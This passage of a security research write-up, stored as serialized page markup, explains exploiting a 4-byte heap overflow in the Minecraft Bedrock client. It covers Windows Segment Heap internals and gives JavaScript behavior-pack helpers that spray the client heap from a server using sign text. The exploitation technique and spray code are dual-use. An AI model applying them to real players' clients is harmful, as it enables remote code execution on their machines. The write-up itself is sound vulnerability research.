",{"type":24,"tag":135,"props":156488,"children":156490},{"className":156489},[],[156491],{"type":29,"value":120133},{"type":24,"tag":101,"props":156493,"children":156494},{},[156495],{"type":29,"value":156496},"Size of the allocation is controlled",{"type":24,"tag":101,"props":156498,"children":156499},{},[156500,156502],{"type":29,"value":156501},"Both corruptions are done on a short-lived allocation\n",{"type":24,"tag":97,"props":156503,"children":156504},{},[156505,156510],{"type":24,"tag":101,"props":156506,"children":156507},{},[156508],{"type":29,"value":156509},"Allocated just before the image-parsing process",{"type":24,"tag":101,"props":156511,"children":156512},{},[156513],{"type":29,"value":156514},"Freed immediately upon parsing completion",{"type":24,"tag":26485,"props":156516,"children":156517},{},[],{"type":24,"tag":25,"props":156519,"children":156520},{},[156521,156523,156530,156532,156539],{"type":29,"value":156522},"Note that this bug was already found before (",{"type":24,"tag":32,"props":156524,"children":156527},{"href":156525,"rel":156526},"https://github.com/nothings/stb/issues/656",[36],[156528],{"type":29,"value":156529},"Github Issue",{"type":29,"value":156531},") but we missed it at the time. It was later fixed in ",{"type":24,"tag":32,"props":156533,"children":156536},{"href":156534,"rel":156535},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[36],[156537],{"type":29,"value":156538},"this commit",{"type":29,"value":41},{"type":24,"tag":62,"props":156541,"children":156542},{"id":13137},[156543],{"type":29,"value":13140},{"type":24,"tag":25,"props":156545,"children":156546},{},[156547],{"type":29,"value":156548},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":24,"tag":25,"props":156550,"children":156551},{},[156552],{"type":29,"value":156553},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":24,"tag":85,"props":156555,"children":156557},{"id":156556},"searching-for-better-primitives",[156558],{"type":29,"value":156559},"Searching for Better Primitives",{"type":24,"tag":25,"props":156561,"children":156562},{},[156563],{"type":29,"value":156564},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":24,"tag":25,"props":156566,"children":156567},{},[156568,156570,156577],{"type":29,"value":156569},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":24,"tag":32,"props":156571,"children":156574},{"href":156572,"rel":156573},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[36],[156575],{"type":29,"value":156576},"UWP",{"type":29,"value":156578}," applications (such as Minecraft Bedrock Edition).",{"type":24,"tag":85,"props":156580,"children":156582},{"id":156581},"segment-heap",[156583],{"type":29,"value":156584},"Segment Heap",{"type":24,"tag":25,"props":156586,"children":156587},{},[156588,156590,156597],{"type":29,"value":156589},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":24,"tag":32,"props":156591,"children":156594},{"href":156592,"rel":156593},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[36],[156595],{"type":29,"value":156596},"this talk",{"type":29,"value":156598}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":24,"tag":26585,"props":156600,"children":156602},{"id":156601},"low-fragmentation-heap",[156603],{"type":29,"value":156604},"Low Fragmentation Heap",{"type":24,"tag":25,"props":156606,"children":156607},{},[156608,156610,156616],{"type":29,"value":156609},"Low Fragmentation Heap (LFH) services allocations of ",{"type":24,"tag":135,"props":156611,"children":156613},{"className":156612},[],[156614],{"type":29,"value":156615},"0x3ff0",{"type":29,"value":156617}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":24,"tag":25,"props":156619,"children":156620},{},[156621],{"type":29,"value":156622},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":24,"tag":261,"props":156624,"children":156626},{"code":156625}," +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 . . . |\n | |\n",[156627],{"type":24,"tag":135,"props":156628,"children":156629},{"__ignoreMap":7},[156630],{"type":29,"value":156625},{"type":24,"tag":25,"props":156632,"children":156633},{},[156634],{"type":29,"value":156635},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":24,"tag":26585,"props":156637,"children":156639},{"id":156638},"variable-size",[156640],{"type":29,"value":156641},"Variable Size",{"type":24,"tag":25,"props":156643,"children":156644},{},[156645,156647,156653,156655,156661],{"type":29,"value":156646},"This subsegment is used for allocation sizes from ",{"type":24,"tag":135,"props":156648,"children":156650},{"className":156649},[],[156651],{"type":29,"value":156652},"0x4000",{"type":29,"value":156654}," and up to ",{"type":24,"tag":135,"props":156656,"children":156658},{"className":156657},[],[156659],{"type":29,"value":156660},"0x20_000",{"type":29,"value":156662},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":24,"tag":261,"props":156664,"children":156666},{"code":156665}," +-------------------------+\n Chunk A ----->| HEAP_VS_CHUNK_HEADER |\n +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n +-------------------------+\n Chunk B ----->| HEAP_VS_CHUNK_HEADER |\n +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 . . . |\n | |\n",[156667],{"type":24,"tag":135,"props":156668,"children":156669},{"__ignoreMap":7},[156670],{"type":29,"value":156665},{"type":24,"tag":25,"props":156672,"children":156673},{},[156674,156676,156682],{"type":29,"value":156675},"The header, ",{"type":24,"tag":135,"props":156677,"children":156679},{"className":156678},[],[156680],{"type":29,"value":156681},"HEAP_VS_CHUNK_HEADER",{"type":29,"value":156683},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":24,"tag":26485,"props":156685,"children":156686},{},[],{"type":24,"tag":25,"props":156688,"children":156689},{},[156690],{"type":29,"value":156691},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":24,"tag":25,"props":156693,"children":156694},{},[156695,156697,156704],{"type":29,"value":156696},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":24,"tag":32,"props":156698,"children":156701},{"href":156699,"rel":156700},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[36],[156702],{"type":29,"value":156703},"technique published",{"type":29,"value":156705}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":24,"tag":25,"props":156707,"children":156708},{},[156709],{"type":29,"value":156710},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":24,"tag":25,"props":156712,"children":156713},{},[156714],{"type":29,"value":156715},"In either case, we needed a way to spray the heap before we could proceed.",{"type":24,"tag":85,"props":156717,"children":156719},{"id":156718},"finding-a-way-to-spray-the-heap",[156720],{"type":29,"value":156721},"Finding a Way to Spray the Heap",{"type":24,"tag":25,"props":156723,"children":156724},{},[156725],{"type":29,"value":156726},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":24,"tag":97,"props":156728,"children":156729},{},[156730,156735,156740,156745],{"type":24,"tag":101,"props":156731,"children":156732},{},[156733],{"type":29,"value":156734},"The size of the allocation",{"type":24,"tag":101,"props":156736,"children":156737},{},[156738],{"type":29,"value":156739},"The data written into the allocated buffer",{"type":24,"tag":101,"props":156741,"children":156742},{},[156743],{"type":29,"value":156744},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":24,"tag":101,"props":156746,"children":156747},{},[156748],{"type":29,"value":156749},"The number of created objects (preferably unbounded)",{"type":24,"tag":25,"props":156751,"children":156752},{},[156753],{"type":29,"value":156754},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":24,"tag":26585,"props":156756,"children":156758},{"id":156757},"minecraft-signs",[156759],{"type":29,"value":156760},"Minecraft Signs",{"type":24,"tag":25,"props":156762,"children":156763},{},[156764],{"type":29,"value":156765},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":24,"tag":25,"props":156767,"children":156768},{},[156769,156771,156777],{"type":29,"value":156770},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":24,"tag":135,"props":156772,"children":156774},{"className":156773},[],[156775],{"type":29,"value":156776},"std::string",{"type":29,"value":41},{"type":24,"tag":25,"props":156779,"children":156780},{},[156781,156783,156788],{"type":29,"value":156782},"In Microsoft’s C++ implementation, ",{"type":24,"tag":135,"props":156784,"children":156786},{"className":156785},[],[156787],{"type":29,"value":156776},{"type":29,"value":156789}," is structured roughly as follows:",{"type":24,"tag":261,"props":156791,"children":156793},{"code":156792,"language":578,"meta":7,"className":576,"style":7},"struct string\n{\n union {\n char* ptr;\n char buf[16];\n };\n size_t size;\n size_t capacity;\n};\n",[156794],{"type":24,"tag":135,"props":156795,"children":156796},{"__ignoreMap":7},[156797,156808,156815,156827,156843,156867,156874,156885,156897],{"type":24,"tag":271,"props":156798,"children":156799},{"class":273,"line":274},[156800,156804],{"type":24,"tag":271,"props":156801,"children":156802},{"style":278},[156803],{"type":29,"value":1772},{"type":24,"tag":271,"props":156805,"children":156806},{"style":288},[156807],{"type":29,"value":91834},{"type":24,"tag":271,"props":156809,"children":156810},{"class":273,"line":284},[156811],{"type":24,"tag":271,"props":156812,"children":156813},{"style":288},[156814],{"type":29,"value":702},{"type":24,"tag":271,"props":156816,"children":156817},{"class":273,"line":294},[156818,156823],{"type":24,"tag":271,"props":156819,"children":156820},{"style":278},[156821],{"type":29,"value":156822}," union",{"type":24,"tag":271,"props":156824,"children":156825},{"style":288},[156826],{"type":29,"value":7145},{"type":24,"tag":271,"props":156828,"children":156829},{"class":273,"line":303},[156830,156835,156839],{"type":24,"tag":271,"props":156831,"children":156832},{"style":278},[156833],{"type":29,"value":156834}," char",{"type":24,"tag":271,"props":156836,"children":156837},{"style":624},[156838],{"type":29,"value":627},{"type":24,"tag":271,"props":156840,"children":156841},{"style":288},[156842],{"type":29,"value":24252},{"type":24,"tag":271,"props":156844,"children":156845},{"class":273,"line":312},[156846,156850,156855,156859,156863],{"type":24,"tag":271,"props":156847,"children":156848},{"style":278},[156849],{"type":29,"value":156834},{"type":24,"tag":271,"props":156851,"children":156852},{"style":630},[156853],{"type":29,"value":156854}," buf",{"type":24,"tag":271,"props":156856,"children":156857},{"style":288},[156858],{"type":29,"value":4520},{"type":24,"tag":271,"props":156860,"children":156861},{"style":477},[156862],{"type":29,"value":3993},{"type":24,"tag":271,"props":156864,"children":156865},{"style":288},[156866],{"type":29,"value":4865},{"type":24,"tag":271,"props":156868,"children":156869},{"class":273,"line":321},[156870],{"type":24,"tag":271,"props":156871,"children":156872},{"style":288},[156873],{"type":29,"value":46665},{"type":24,"tag":271,"props":156875,"children":156876},{"class":273,"line":330},[156877,156881],{"type":24,"tag":271,"props":156878,"children":156879},{"style":278},[156880],{"type":29,"value":24260},{"type":24,"tag":271,"props":156882,"children":156883},{"style":288},[156884],{"type":29,"value":131392},{"type":24,"tag":271,"props":156886,"children":156887},{"class":273,"line":339},[156888,156892],{"type":24,"tag":271,"props":156889,"children":156890},{"style":278},[156891],{"type":29,"value":24260},{"type":24,"tag":271,"props":156893,"children":156894},{"style":288},[156895],{"type":29,"value":156896}," capacity;\n",{"type":24,"tag":271,"props":156898,"children":156899},{"class":273,"line":347},[156900],{"type":24,"tag":271,"props":156901,"children":156902},{"style":288},[156903],{"type":29,"value":4006},{"type":24,"tag":25,"props":156905,"children":156906},{},[156907,156909,156915,156917,156922],{"type":29,"value":156908},"We are primarily interested in the union: ",{"type":24,"tag":135,"props":156910,"children":156912},{"className":156911},[],[156913],{"type":29,"value":156914},"buf",{"type":29,"value":156916}," is used when the string fits within 16 bytes, while ",{"type":24,"tag":135,"props":156918,"children":156920},{"className":156919},[],[156921],{"type":29,"value":21648},{"type":29,"value":156923}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":24,"tag":25,"props":156925,"children":156926},{},[156927],{"type":29,"value":156928},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":24,"tag":25,"props":156930,"children":156931},{},[156932],{"type":29,"value":156933},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":24,"tag":26585,"props":156935,"children":156937},{"id":156936},"spraying-with-server-side-scripting",[156938],{"type":29,"value":156939},"Spraying With Server-Side Scripting",{"type":24,"tag":25,"props":156941,"children":156942},{},[156943],{"type":29,"value":156944},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":24,"tag":25,"props":156946,"children":156947},{},[156948,156950,156956,156957,156963],{"type":29,"value":156949},"We wrote ",{"type":24,"tag":135,"props":156951,"children":156953},{"className":156952},[],[156954],{"type":29,"value":156955},"alloc",{"type":29,"value":518},{"type":24,"tag":135,"props":156958,"children":156960},{"className":156959},[],[156961],{"type":29,"value":156962},"free",{"type":29,"value":156964}," helpers that trigger an allocation in the client and free it on demand:",{"type":24,"tag":261,"props":156966,"children":156968},{"code":156967,"language":43283,"meta":7,"className":43281,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n for (let sign of signs) {\n if (sign.allocated || sign.removed) {\n continue;\n }\n\n sign.sign.setText(fill.repeat(size - 1));\n sign.allocated = true;\n return sign;\n }\n\n console.warn(\"No more allocs\");\n return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n if (sign == undefined || sign.allocated == false) {\n return;\n }\n\n sign.sign.setText(\"\");\n sign.allocated = false;\n\n sign.block.setPermutation(\n BlockPermutation.resolve(\"minecraft:air\")\n );\n sign.removed = true;\n}\n",[156969],{"type":24,"tag":135,"props":156970,"children":156971},{"__ignoreMap":7},[156972,156980,157022,157055,157100,157112,157119,157126,157187,157214,157229,157236,157243,157272,157287,157294,157301,157309,157333,157384,157395,157402,157409,157446,157473,157480,157509,157539,157546,157573],{"type":24,"tag":271,"props":156973,"children":156974},{"class":273,"line":274},[156975],{"type":24,"tag":271,"props":156976,"children":156977},{"style":2058},[156978],{"type":29,"value":156979},"// Allocate sign text in the client\n",{"type":24,"tag":271,"props":156981,"children":156982},{"class":273,"line":284},[156983,156987,156992,156996,157000,157004,157009,157013,157018],{"type":24,"tag":271,"props":156984,"children":156985},{"style":278},[156986],{"type":29,"value":39052},{"type":24,"tag":271,"props":156988,"children":156989},{"style":598},[156990],{"type":29,"value":156991}," alloc",{"type":24,"tag":271,"props":156993,"children":156994},{"style":288},[156995],{"type":29,"value":606},{"type":24,"tag":271,"props":156997,"children":156998},{"style":630},[156999],{"type":29,"value":131050},{"type":24,"tag":271,"props":157001,"children":157002},{"style":288},[157003],{"type":29,"value":158},{"type":24,"tag":271,"props":157005,"children":157006},{"style":630},[157007],{"type":29,"value":157008},"fill",{"type":24,"tag":271,"props":157010,"children":157011},{"style":624},[157012],{"type":29,"value":762},{"type":24,"tag":271,"props":157014,"children":157015},{"style":378},[157016],{"type":29,"value":157017},"\"A\"",{"type":24,"tag":271,"props":157019,"children":157020},{"style":288},[157021],{"type":29,"value":919},{"type":24,"tag":271,"props":157023,"children":157024},{"class":273,"line":294},[157025,157029,157033,157037,157042,157046,157051],{"type":24,"tag":271,"props":157026,"children":157027},{"style":749},[157028],{"type":29,"value":4149},{"type":24,"tag":271,"props":157030,"children":157031},{"style":288},[157032],{"type":29,"value":1357},{"type":24,"tag":271,"props":157034,"children":157035},{"style":278},[157036],{"type":29,"value":19490},{"type":24,"tag":271,"props":157038,"children":157039},{"style":630},[157040],{"type":29,"value":157041}," sign",{"type":24,"tag":271,"props":157043,"children":157044},{"style":278},[157045],{"type":29,"value":18067},{"type":24,"tag":271,"props":157047,"children":157048},{"style":630},[157049],{"type":29,"value":157050}," signs",{"type":24,"tag":271,"props":157052,"children":157053},{"style":288},[157054],{"type":29,"value":919},{"type":24,"tag":271,"props":157056,"children":157057},{"class":273,"line":303},[157058,157062,157066,157071,157075,157080,157084,157088,157092,157096],{"type":24,"tag":271,"props":157059,"children":157060},{"style":749},[157061],{"type":29,"value":7512},{"type":24,"tag":271,"props":157063,"children":157064},{"style":288},[157065],{"type":29,"value":1357},{"type":24,"tag":271,"props":157067,"children":157068},{"style":630},[157069],{"type":29,"value":157070},"sign",{"type":24,"tag":271,"props":157072,"children":157073},{"style":288},[157074],{"type":29,"value":41},{"type":24,"tag":271,"props":157076,"children":157077},{"style":630},[157078],{"type":29,"value":157079},"allocated",{"type":24,"tag":271,"props":157081,"children":157082},{"style":624},[157083],{"type":29,"value":2675},{"type":24,"tag":271,"props":157085,"children":157086},{"style":630},[157087],{"type":29,"value":157041},{"type":24,"tag":271,"props":157089,"children":157090},{"style":288},[157091],{"type":29,"value":41},{"type":24,"tag":271,"props":157093,"children":157094},{"style":630},[157095],{"type":29,"value":139755},{"type":24,"tag":271,"props":157097,"children":157098},{"style":288},[157099],{"type":29,"value":919},{"type":24,"tag":271,"props":157101,"children":157102},{"class":273,"line":312},[157103,157108],{"type":24,"tag":271,"props":157104,"children":157105},{"style":749},[157106],{"type":29,"value":157107}," continue",{"type":24,"tag":271,"props":157109,"children":157110},{"style":288},[157111],{"type":29,"value":1069},{"type":24,"tag":271,"props":157113,"children":157114},{"class":273,"line":321},[157115],{"type":24,"tag":271,"props":157116,"children":157117},{"style":288},[157118],{"type":29,"value":7574},{"type":24,"tag":271,"props":157120,"children":157121},{"class":273,"line":330},[157122],{"type":24,"tag":271,"props":157123,"children":157124},{"emptyLinePlaceholder":16},[157125],{"type":29,"value":327},{"type":24,"tag":271,"props":157127,"children":157128},{"class":273,"line":339},[157129,157134,157138,157142,157146,157151,157155,157159,157163,157167,157171,157175,157179,157183],{"type":24,"tag":271,"props":157130,"children":157131},{"style":630},[157132],{"type":29,"value":157133}," sign",{"type":24,"tag":271,"props":157135,"children":157136},{"style":288},[157137],{"type":29,"value":41},{"type":24,"tag":271,"props":157139,"children":157140},{"style":630},[157141],{"type":29,"value":157070},{"type":24,"tag":271,"props":157143,"children":157144},{"style":288},[157145],{"type":29,"value":41},{"type":24,"tag":271,"props":157147,"children":157148},{"style":598},[157149],{"type":29,"value":157150},"setText",{"type":24,"tag":271,"props":157152,"children":157153},{"style":288},[157154],{"type":29,"value":606},{"type":24,"tag":271,"props":157156,"children":157157},{"style":630},[157158],{"type":29,"value":157008},{"type":24,"tag":271,"props":157160,"children":157161},{"style":288},[157162],{"type":29,"value":41},{"type":24,"tag":271,"props":157164,"children":157165},{"style":598},[157166],{"type":29,"value":140005},{"type":24,"tag":271,"props":157168,"children":157169},{"style":288},[157170],{"type":29,"value":606},{"type":24,"tag":271,"props":157172,"children":157173},{"style":630},[157174],{"type":29,"value":131050},{"type":24,"tag":271,"props":157176,"children":157177},{"style":624},[157178],{"type":29,"value":819},{"type":24,"tag":271,"props":157180,"children":157181},{"style":477},[157182],{"type":29,"value":824},{"type":24,"tag":271,"props":157184,"children":157185},{"style":288},[157186],{"type":29,"value":5811},{"type":24,"tag":271,"props":157188,"children":157189},{"class":273,"line":347},[157190,157194,157198,157202,157206,157210],{"type":24,"tag":271,"props":157191,"children":157192},{"style":630},[157193],{"type":29,"value":157133},{"type":24,"tag":271,"props":157195,"children":157196},{"style":288},[157197],{"type":29,"value":41},{"type":24,"tag":271,"props":157199,"children":157200},{"style":630},[157201],{"type":29,"value":157079},{"type":24,"tag":271,"props":157203,"children":157204},{"style":624},[157205],{"type":29,"value":1712},{"type":24,"tag":271,"props":157207,"children":157208},{"style":278},[157209],{"type":29,"value":1717},{"type":24,"tag":271,"props":157211,"children":157212},{"style":288},[157213],{"type":29,"value":1069},{"type":24,"tag":271,"props":157215,"children":157216},{"class":273,"line":356},[157217,157221,157225],{"type":24,"tag":271,"props":157218,"children":157219},{"style":749},[157220],{"type":29,"value":8905},{"type":24,"tag":271,"props":157222,"children":157223},{"style":630},[157224],{"type":29,"value":157041},{"type":24,"tag":271,"props":157226,"children":157227},{"style":288},[157228],{"type":29,"value":1069},{"type":24,"tag":271,"props":157230,"children":157231},{"class":273,"line":365},[157232],{"type":24,"tag":271,"props":157233,"children":157234},{"style":288},[157235],{"type":29,"value":4385},{"type":24,"tag":271,"props":157237,"children":157238},{"class":273,"line":374},[157239],{"type":24,"tag":271,"props":157240,"children":157241},{"emptyLinePlaceholder":16},[157242],{"type":29,"value":327},{"type":24,"tag":271,"props":157244,"children":157245},{"class":273,"line":384},[157246,157250,157254,157259,157263,157268],{"type":24,"tag":271,"props":157247,"children":157248},{"style":630},[157249],{"type":29,"value":39113},{"type":24,"tag":271,"props":157251,"children":157252},{"style":288},[157253],{"type":29,"value":41},{"type":24,"tag":271,"props":157255,"children":157256},{"style":598},[157257],{"type":29,"value":157258},"warn",{"type":24,"tag":271,"props":157260,"children":157261},{"style":288},[157262],{"type":29,"value":606},{"type":24,"tag":271,"props":157264,"children":157265},{"style":378},[157266],{"type":29,"value":157267},"\"No more allocs\"",{"type":24,"tag":271,"props":157269,"children":157270},{"style":288},[157271],{"type":29,"value":1155},{"type":24,"tag":271,"props":157273,"children":157274},{"class":273,"line":393},[157275,157279,157283],{"type":24,"tag":271,"props":157276,"children":157277},{"style":749},[157278],{"type":29,"value":9640},{"type":24,"tag":271,"props":157280,"children":157281},{"style":278},[157282],{"type":29,"value":47005},{"type":24,"tag":271,"props":157284,"children":157285},{"style":288},[157286],{"type":29,"value":1069},{"type":24,"tag":271,"props":157288,"children":157289},{"class":273,"line":402},[157290],{"type":24,"tag":271,"props":157291,"children":157292},{"style":288},[157293],{"type":29,"value":1171},{"type":24,"tag":271,"props":157295,"children":157296},{"class":273,"line":411},[157297],{"type":24,"tag":271,"props":157298,"children":157299},{"emptyLinePlaceholder":16},[157300],{"type":29,"value":327},{"type":24,"tag":271,"props":157302,"children":157303},{"class":273,"line":420},[157304],{"type":24,"tag":271,"props":157305,"children":157306},{"style":2058},[157307],{"type":29,"value":157308},"// Free an allocated sign in the client\n",{"type":24,"tag":271,"props":157310,"children":157311},{"class":273,"line":429},[157312,157316,157321,157325,157329],{"type":24,"tag":271,"props":157313,"children":157314},{"style":278},[157315],{"type":29,"value":39052},{"type":24,"tag":271,"props":157317,"children":157318},{"style":598},[157319],{"type":29,"value":157320}," free",{"type":24,"tag":271,"props":157322,"children":157323},{"style":288},[157324],{"type":29,"value":606},{"type":24,"tag":271,"props":157326,"children":157327},{"style":630},[157328],{"type":29,"value":157070},{"type":24,"tag":271,"props":157330,"children":157331},{"style":288},[157332],{"type":29,"value":919},{"type":24,"tag":271,"props":157334,"children":157335},{"class":273,"line":438},[157336,157340,157344,157348,157352,157356,157360,157364,157368,157372,157376,157380],{"type":24,"tag":271,"props":157337,"children":157338},{"style":749},[157339],{"type":29,"value":5025},{"type":24,"tag":271,"props":157341,"children":157342},{"style":288},[157343],{"type":29,"value":1357},{"type":24,"tag":271,"props":157345,"children":157346},{"style":630},[157347],{"type":29,"value":157070},{"type":24,"tag":271,"props":157349,"children":157350},{"style":624},[157351],{"type":29,"value":1031},{"type":24,"tag":271,"props":157353,"children":157354},{"style":278},[157355],{"type":29,"value":47005},{"type":24,"tag":271,"props":157357,"children":157358},{"style":624},[157359],{"type":29,"value":2675},{"type":24,"tag":271,"props":157361,"children":157362},{"style":630},[157363],{"type":29,"value":157041},{"type":24,"tag":271,"props":157365,"children":157366},{"style":288},[157367],{"type":29,"value":41},{"type":24,"tag":271,"props":157369,"children":157370},{"style":630},[157371],{"type":29,"value":157079},{"type":24,"tag":271,"props":157373,"children":157374},{"style":624},[157375],{"type":29,"value":1031},{"type":24,"tag":271,"props":157377,"children":157378},{"style":278},[157379],{"type":29,"value":1877},{"type":24,"tag":271,"props":157381,"children":157382},{"style":288},[157383],{"type":29,"value":919},{"type":24,"tag":271,"props":157385,"children":157386},{"class":273,"line":447},[157387,157391],{"type":24,"tag":271,"props":157388,"children":157389},{"style":749},[157390],{"type":29,"value":8905},{"type":24,"tag":271,"props":157392,"children":157393},{"style":288},[157394],{"type":29,"value":1069},{"type":24,"tag":271,"props":157396,"children":157397},{"class":273,"line":455},[157398],{"type":24,"tag":271,"props":157399,"children":157400},{"style":288},[157401],{"type":29,"value":4385},{"type":24,"tag":271,"props":157403,"children":157404},{"class":273,"line":464},[157405],{"type":24,"tag":271,"props":157406,"children":157407},{"emptyLinePlaceholder":16},[157408],{"type":29,"value":327},{"type":24,"tag":271,"props":157410,"children":157411},{"class":273,"line":473},[157412,157417,157421,157425,157429,157433,157437,157442],{"type":24,"tag":271,"props":157413,"children":157414},{"style":630},[157415],{"type":29,"value":157416}," sign",{"type":24,"tag":271,"props":157418,"children":157419},{"style":288},[157420],{"type":29,"value":41},{"type":24,"tag":271,"props":157422,"children":157423},{"style":630},[157424],{"type":29,"value":157070},{"type":24,"tag":271,"props":157426,"children":157427},{"style":288},[157428],{"type":29,"value":41},{"type":24,"tag":271,"props":157430,"children":157431},{"style":598},[157432],{"type":29,"value":157150},{"type":24,"tag":271,"props":157434,"children":157435},{"style":288},[157436],{"type":29,"value":606},{"type":24,"tag":271,"props":157438,"children":157439},{"style":378},[157440],{"type":29,"value":157441},"\"\"",{"type":24,"tag":271,"props":157443,"children":157444},{"style":288},[157445],{"type":29,"value":1155},{"type":24,"tag":271,"props":157447,"children":157448},{"class":273,"line":483},[157449,157453,157457,157461,157465,157469],{"type":24,"tag":271,"props":157450,"children":157451},{"style":630},[157452],{"type":29,"value":157416},{"type":24,"tag":271,"props":157454,"children":157455},{"style":288},[157456],{"type":29,"value":41},{"type":24,"tag":271,"props":157458,"children":157459},{"style":630},[157460],{"type":29,"value":157079},{"type":24,"tag":271,"props":157462,"children":157463},{"style":624},[157464],{"type":29,"value":1712},{"type":24,"tag":271,"props":157466,"children":157467},{"style":278},[157468],{"type":29,"value":1877},{"type":24,"tag":271,"props":157470,"children":157471},{"style":288},[157472],{"type":29,"value":1069},{"type":24,"tag":271,"props":157474,"children":157475},{"class":273,"line":491},[157476],{"type":24,"tag":271,"props":157477,"children":157478},{"emptyLinePlaceholder":16},[157479],{"type":29,"value":327},{"type":24,"tag":271,"props":157481,"children":157482},{"class":273,"line":499},[157483,157487,157491,157496,157500,157505],{"type":24,"tag":271,"props":157484,"children":157485},{"style":630},[157486],{"type":29,"value":157416},{"type":24,"tag":271,"props":157488,"children":157489},{"style":288},[157490],{"type":29,"value":41},{"type":24,"tag":271,"props":157492,"children":157493},{"style":630},[157494],{"type":29,"value":157495},"block",{"type":24,"tag":271,"props":157497,"children":157498},{"style":288},[157499],{"type":29,"value":41},{"type":24,"tag":271,"props":157501,"children":157502},{"style":598},[157503],{"type":29,"value":157504},"setPermutation",{"type":24,"tag":271,"props":157506,"children":157507},{"style":288},[157508],{"type":29,"value":4028},{"type":24,"tag":271,"props":157510,"children":157511},{"class":273,"line":3188},[157512,157517,157521,157526,157530,157535],{"type":24,"tag":271,"props":157513,"children":157514},{"style":630},[157515],{"type":29,"value":157516}," BlockPermutation",{"type":24,"tag":271,"props":157518,"children":157519},{"style":288},[157520],{"type":29,"value":41},{"type":24,"tag":271,"props":157522,"children":157523},{"style":598},[157524],{"type":29,"value":157525},"resolve",{"type":24,"tag":271,"props":157527,"children":157528},{"style":288},[157529],{"type":29,"value":606},{"type":24,"tag":271,"props":157531,"children":157532},{"style":378},[157533],{"type":29,"value":157534},"\"minecraft:air\"",{"type":24,"tag":271,"props":157536,"children":157537},{"style":288},[157538],{"type":29,"value":694},{"type":24,"tag":271,"props":157540,"children":157541},{"class":273,"line":3247},[157542],{"type":24,"tag":271,"props":157543,"children":157544},{"style":288},[157545],{"type":29,"value":51322},{"type":24,"tag":271,"props":157547,"children":157548},{"class":273,"line":3255},[157549,157553,157557,157561,157565,157569],{"type":24,"tag":271,"props":157550,"children":157551},{"style":630},[157552],{"type":29,"value":157416},{"type":24,"tag":271,"props":157554,"children":157555},{"style":288},[157556],{"type":29,"value":41},{"type":24,"tag":271,"props":157558,"children":157559},{"style":630},[157560],{"type":29,"value":139755},{"type":24,"tag":271,"props":157562,"children":157563},{"style":624},[157564],{"type":29,"value":1712},{"type":24,"tag":271,"props":157566,"children":157567},{"style":278},[157568],{"type":29,"value":1717},{"type":24,"tag":271,"props":157570,"children":157571},{"style":288},[157572],{"type":29,"value":1069},{"type":24,"tag":271,"props":157574,"children":157575},{"class":273,"line":3263},[157576],{"type":24,"tag":271,"props":15757